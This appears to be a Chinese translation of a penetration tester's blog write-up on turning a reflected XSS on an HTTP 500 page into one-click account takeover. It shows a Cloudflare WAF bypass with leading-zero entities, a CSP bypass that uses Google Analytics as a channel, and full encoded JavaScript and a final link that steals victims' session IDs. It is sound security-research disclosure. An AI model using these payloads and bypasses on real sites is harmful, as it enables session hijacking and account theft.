從500到賬戶接管
譯文來源:https://sensepost.com/blog/2021/from-500-to-account-takeover/。受個人知識所限及偏見影響,部分內容可能會存在過度曲解及誤解情況,望各位師傅包含並提出建議,感謝。
簡介
在一次漏洞評估的過程中,一個位於HTTP 500“內部伺服器錯誤”頁面上的普通跨站指令碼(XSS)漏洞,被我成功地變成了一鍵式的賬戶接管。在本篇部落格中,我希望將本次我利用已知的Cloudflare WAF繞過技術,和利用Google Analytics作為CSP繞過手段來提取會話口令的方式給大家敘述一下。
資訊偵查
在評估開始時,我很快就注意到該Web應用將會話ID作為某種JavaScript報錯函式的一部分儲存在了一個message
變數裡。且如果window.error
事件被觸發的話,該函式就會被執行。
於是我便著手去尋找一種提取這些資料的方法。有什麼會是可能性和理論上更適合做這件事的中間人呢?當然是XSS!
在評估過程中,我的同事Koen Claes提到了這個有意思的XSS向量,我們可以在一個500“內部伺服器錯誤”頁面上找到它。請注意下方URL中的EndUserVisibleHtmlMessage
引數:
https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=<XSSpayloadhere>&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False
這聽上去不是很安全,不是嗎?事實上,這種情況下幾乎太容易去執行該漏洞了。但是,出現了一個問題!當我們利用該引數想要成功觸發XSS時碰到了兩處防護措施,因此我們需要制定一個攻擊計劃:
- 1.攻破Cloudflare“軍事級別的AI增強型”Web應用防火牆(WAF)
- 2.欺騙我們的好朋友,CSP先生
由於CLoudflare通常是部署在應用程式前面的,這就意味著像是< script>alert(1)</script>
這樣簡單的的payload將不會起到任何效果。
DNS覆蓋
我們首先想到的是嘗試一種比較常用的手段在客戶端層面上來繞過WAF:DNS覆蓋。假設我們能夠找到Cloudflare背後的源伺服器(並且它允許來自公網的連線),我們就可以透過直接與該伺服器相連從而繞過WAF。
有許多眾所周知的方法都能夠找到那些受雲WAF(或者乾脆就是指Cloudflare WAF本身的擴充套件應用)保護的web服務背後的源伺服器。比方說:
- 1.在Censys或類似的服務中搜尋目標網站的域名,這樣會顯示出有哪些伺服器正在使用與目標伺服器相同的TLS證照等資訊
- 2.透過在Shodan上搜尋相同的favico雜湊值來嘗試暴露出相關地址(可以透過在https://github.com/pielco11/fav-up上實現)
- 3.查詢DNS歷史資料
一旦你獲取到了源伺服器的IP地址,Burp Suite允許在“Project Options(專案選項)” -> “Hostname Resolution(主機名解析)”處快速設定你自己的DNS記錄。
當將我們發現的源伺服器IP地址填入並啟用“Hostname Resolution”後,Koen證實了他的想法,的確可以觸發XSS。那個周所周知的alert(1)
彈框就要執行了。
但你們可能會想“在針對受害者進行攻擊時,這種方法在嘗試繞過Cloudflare並不總是可行的”。你們想的沒錯,尤其是當你無法訪問到受害者的基礎裝置或計算機時。因此這種方法並不能真正地作為我們攻擊鏈中的一環,我們便轉而專注於在應用程式層面上去繞過Cloudflare。
基於簽名繞過Cloudflare的方法
Cloudflare做了很多非常酷的事情,我也推薦你們可以去看一下他們的部落格!但他們也有做得不好的地方,一些眾所周知的WAF繞過手段似乎並沒有引起他們的注意/未修復。我查到了一個在我們案例中使用的繞過手段,發現它早在2019年6月份就被上報了,但截至目前2021年2月份卻仍然有效。
Cloudflare的XSS繞過可以透過新增8位或更多位多餘的十進位制前導零,或是新增7位或更多位十六進位制的前導零來實現。
十進位制:
十六進位制:
— Bohdan Korzhynskyi (@bohdansec) June 4, 2019
那條推特實際上是我在Google上第一個找到的繞過Cloudflare的推文......結果它就真的可以成功繞過並實現彈框。
https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3Csvg%20onload%3Dprompt%2526%252300000000401)%3E&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False
我還發現了一些不對勁的地方,如果在URL中存在一個eval
可執行程式碼字串,只要第一個括號(
被替換成了%26%230000000040
,WAF就不會對其進行攔截。
不管怎麼說,第一件惱人的事情總算是解決掉了:
- “攻破Cloudflare的“軍事級別的AI增強型”WAF“
下一個問題,謝謝:)
- 欺騙我們的好朋友,CSP先生
CSP 繞過
該web應用程式中存在以下內容安全策略(CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://maps.googleapis.com https://webapp.example.eu https://connect.facebook.net https://themes.example.eu; img-src 'self' https://ssl.google-analytics.com https://s-static.ak.facebook.com https://webapp.example.eu https://themes.example.eu http://images-awstest.example.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://webapp.example.eu https://themes.example.eu; font-src 'self' https://themes.googleusercontent.com; frame-src https://webapp.example.eu https://www.facebook.com https://s-static.ak.facebook.com; object-src 'none'
透過詳細地檢查CSP後,我們發現由於在CSP中設定了” 'self','unsafe-inline','unsafe-eval' “,它只允許執行來自其域本身的指令碼。
所以我想,或許可以寫一個利用Burp Collaborator中URL的fetch()
方法來解決這個問題,但後來證實我想多了...... 我們發現了一個錯誤,提示connect-src
不支援fetch()
函式來對未宣告域進行外部HTTP呼叫。只有對源域才是有效的。
儘管connect-src
在CSP中並沒有寫明,但是default-src 'self'
會禁止任何未宣告的指令被“惡意”執行。好吧,那究竟什麼才是被允許的呢?
img-src https://ssl.google-analytics.com
或許這對於大多數人來說算是敲響了一次警鐘吧。可以透過Google Analytics來進行提取會話口令!但是要怎麼做呢?
Google Analytics
和Facebook一樣,Google Analytics透過跟蹤畫素來提供跟蹤功能。通常,跟蹤畫素會進行一些日誌記錄/指紋識別,但在本例中,我們可以主動將其利用為一個資料提取的通道。
透過深挖Google Analytics文件,我們發現可以構造一個有意思的collect
介面URL。這個URL含有允許包含任意字串的特定引數。該引數稱為ea
。
為了能夠利用跟蹤畫素成功新增該Google Analytics,需要3個強制性引數:
- 1.
tid
,這是我們為執行攻擊而設定的Google Analytics PoC賬戶ID - 2.
cid
,這是一個隨機數,用於區分瀏覽器/使用者,也就是指紋識別 - 3.
ea
,可以對其分配任意字串
所以,一個簡單的示例就會是以下這樣:
https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=13333337&t=event&ec=email&ea=anystring
考慮到該URL,可以保險地說,在完成我們為此次攻擊準備的最後一個目標後,我們就可以繞過CSP策略了:
- 欺騙我們的好朋友,CSP先生
攢零合整
我們目前已經具備了實現完整攻擊鏈所需的4個部分,簡單回顧一下,分別是:
- 1.可在JavaScript函式可訪問的SessionID
- 2.Cloudflare繞過
- 3.CSP繞過
- 一個Google Analytics
collect
介面URL
接下來就讓我們將各環相扣,準備竊取會話id吧!
利用JavaScript對SessionID切片
正如簡介所述,該應用將使用者的會話cookie等資訊放在了一個報錯函式中。那麼還有什麼方法會比一個正規表示式來提取我們想要的值更合適呢?
我們藉助regex101.com並快速構建了一個正規表示式,用於提取該特定欄位及其對應的值,一個24個字元的字母數字會話ID,如下所示。
而實際的正規表示式為:
/(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm
編寫payload程式碼
由於我們想將Google Analytics跟蹤畫素附加到我們的網頁上,我們將不得不定義一個新變數,我們把它稱為gaimage
:
var gaimage = document.createElement("img");
接下來,宣告我們的regex
變數:
var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm;
下面的步驟可能會有點複雜。
該應用程式在HTTP響應狀態為200 OK
時才會返回之前提到的那個JavaScript報錯函式,但由於我們的XSS入口是在HTTP 500 “內部伺服器錯誤”頁面上發現的,所以我們不得不使用一下跨站請求偽造。簡單來說上是向一個頁面發出請求,該頁面的響應中會包含我們需要提取出來的會話ID。
關於我們的payload,下面的JavaScript將執行以下操作:
- 1.獲取HTTP響應狀態為
200 OK
的頁面的內容,為了設計PoC,我們在示例中填寫的是一個名為/Search/Criteria
的隨機頁面URL - 2.將我們的Google Analytics
collect
介面URL作為源分配給img
標籤的屬性 - 3.
cid
由Math.random()
函式隨機生成 - 4.最重要的是,
ea
引數中填入了為提取SessionID
用到的正規表示式
fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=" + Math.floor(Math.random() * 8999999999 + 1000000000) + "&t=event&ec=email&ea=" + encodeURIComponent(data.match(regex)));
最後,透過將實際的gaimage
追加到HTML DOM中來完成此程式碼:
document.head.appendChild(gaimage);
我們的JavaScript生成的惡意img
元素,看起來如下:
<img src="https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=8664644683&t=event&ec=email&ea=SessionID%3A%20ppqiitmapj45dq1dacmgeo0a">
構建HTML注入
作為我們攻擊準備的最後一步,我們需要在EndUserVisibleHtmlMessage
引數中儘可能整齊地整合所有內容,XSS將會在此處觸發。
為了防止出現編碼問題(或規避一些可能的檢測),我選擇使用base64再用URL編碼對JavaScript payload進行編碼,這意味著這段程式碼:
var gaimage = document.createElement("img");var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm; fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=" + Math.floor(Math.random() * 8999999999 + 1000000000) + "&t=event&ec=email&ea=" + encodeURIComponent(data.match(regex)));document.head.appendChild(gaimage);
將會變成這樣:
dmFyIGdhaW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsKdmFyIHJlZ2V4ID0gLyg%2FOlNlc3Npb25JRDogKD86W2EtekEtWjAtOS1fXXsyNH0pKS9nbTsgZmV0Y2goIi9TZWFyY2gvQ3JpdGVyaWEiKS50aGVuKHJlc3BvbnNlID0%2BIHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0%2BIGdhaW1hZ2Uuc3JjID0gImh0dHBzOi8vc3NsLmdvb2dsZS1hbmFseXRpY3MuY29tL2NvbGxlY3Q%2Fdj0xJnRpZD1VQS0xOTAxODMwMTUtMSZjaWQ9IiArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSArICImdD1ldmVudCZlYz1lbWFpbCZlYT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEubWF0Y2gocmVnZXgpKSk7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZ2FpbWFnZSk7
這也意味著,輸出的payload本身必須按照我們編碼時的步驟進行解碼以構建HTML payload:
<svg onload=eval(atob(decodeURIComponent("dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg/OlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs=")))>
但是,像上面這樣的HTML將不會起作用,因為它沒有進行Cloudflare繞過的處理。透過應用我之前提到的Cloudflare繞過手段,我們最終就得到一個可以傳送給受害者連結了:
https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3Csvg%20onload=eval%26%230000000040atob%26%230000000040decodeURIComponent%26%230000000040%22dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg%2FOlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs%3D%22)))%3E&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False
受害者的視角
從受害者瀏覽器的角度來看,<img>
標籤會被插入到DOM中,如下所示。
在瀏覽器中執行的HTML注入不會觸發客戶端報錯。隨著會話ID被新增到一個跟蹤畫素上,payload就已經準備好透過Google Analytics來傳送給攻擊者了。
攻擊者的視角
在攻擊者的Google Analytics皮膚中,我們可以看到受害者會話ID被作為“活躍使用者”傳送到我們的應用程式上:)
將這些漏洞串聯起來,透過向受害者傳送一個連結從而最終實現了賬戶接管。
補充說明: 使用帶有跟蹤保護功能廣告攔截器的使用者不易受到此類攻擊,因為對Google Analytics 的請求通常會被這些擴充套件程式阻攔。
相關文章
- 警惕!75%的Office 365賬戶遭受惡意接管攻擊2021-03-18
- 從賬戶搭建到投放排雷,Apple Search Ads全攻略2020-04-08APP
- 全民超神VS王者榮耀:從角色養成到賬戶養成2020-06-12
- 公有云首次跨賬戶容器接管 微軟警告Azure容器例項服務存在漏洞2021-09-13微軟
- win10微軟線上賬戶如何與本地賬戶切換_win10 win10本地賬戶怎麼切換到微軟線上賬戶2020-03-16Win10微軟
- 如何從抖音上賬號精準客戶?2022-07-19
- [雜項]從子域名接管到Subtaker2022-06-07
- 因未啟用2FA被暴力破解,駭客接管谷歌子公司Mandiant的X賬戶2024-01-12谷歌
- 從500瘋漲到1200!《健身環》到底怎麼了?2020-02-10
- win10切換管理員賬戶的步驟_win10怎麼切換到管理員賬戶2020-07-27Win10
- 企業賬戶2020-05-28
- MySQL賬戶管理2021-09-09MySql
- EOS賬戶管理2018-08-27
- 企業對公賬戶走賬2020-05-28
- Java 支付寶支付,退款,單筆轉賬到支付寶賬戶(支付寶訂單退款)2018-12-12Java
- 教你三招從讓效能從20s最佳化到500ms2022-07-20
- Git-如何區分使用個人賬戶和公司賬戶2024-09-26Git
- 公司對公賬戶過賬買賣2020-05-28
- 對公賬戶出售2020-05-28
- 全套對公賬戶2020-05-28
- Currenxie 環球賬戶2021-11-25
- win10怎麼切換到管理員賬戶 win10電腦使用者切換管理員賬戶方法2020-10-07Win10
- 銀行卡賬戶入賬支出問題2018-09-16
- 從20s優化到500ms,我用了這三招2022-07-01優化
- 利用java實現提現金額到支付寶賬戶的功能2020-12-29Java
- win10怎麼建立賬戶 window10如何建立新賬戶2020-11-11Win10
- win10怎麼更改賬戶 win10如何更改本地賬戶2020-11-24Win10
- 如何設計財務對賬系統 —— 從零到一搭建對賬中心實戰2021-08-13
- Ubuntu 啟用 root 賬戶2024-11-16Ubuntu
- 博通賬戶亂碼2024-10-17
- centos建立賬戶指令碼2024-05-30CentOS指令碼
- 全新企業賬戶2020-05-28
- 購買對公賬戶2020-05-28
- 倒賣對公賬戶2020-05-28
- 售賣對公賬戶2020-05-28
- 購買對公賬戶2020-05-28
- 以太坊之賬戶管理2019-05-11
- VSCode的git賬戶重置2020-12-14VSCodeGit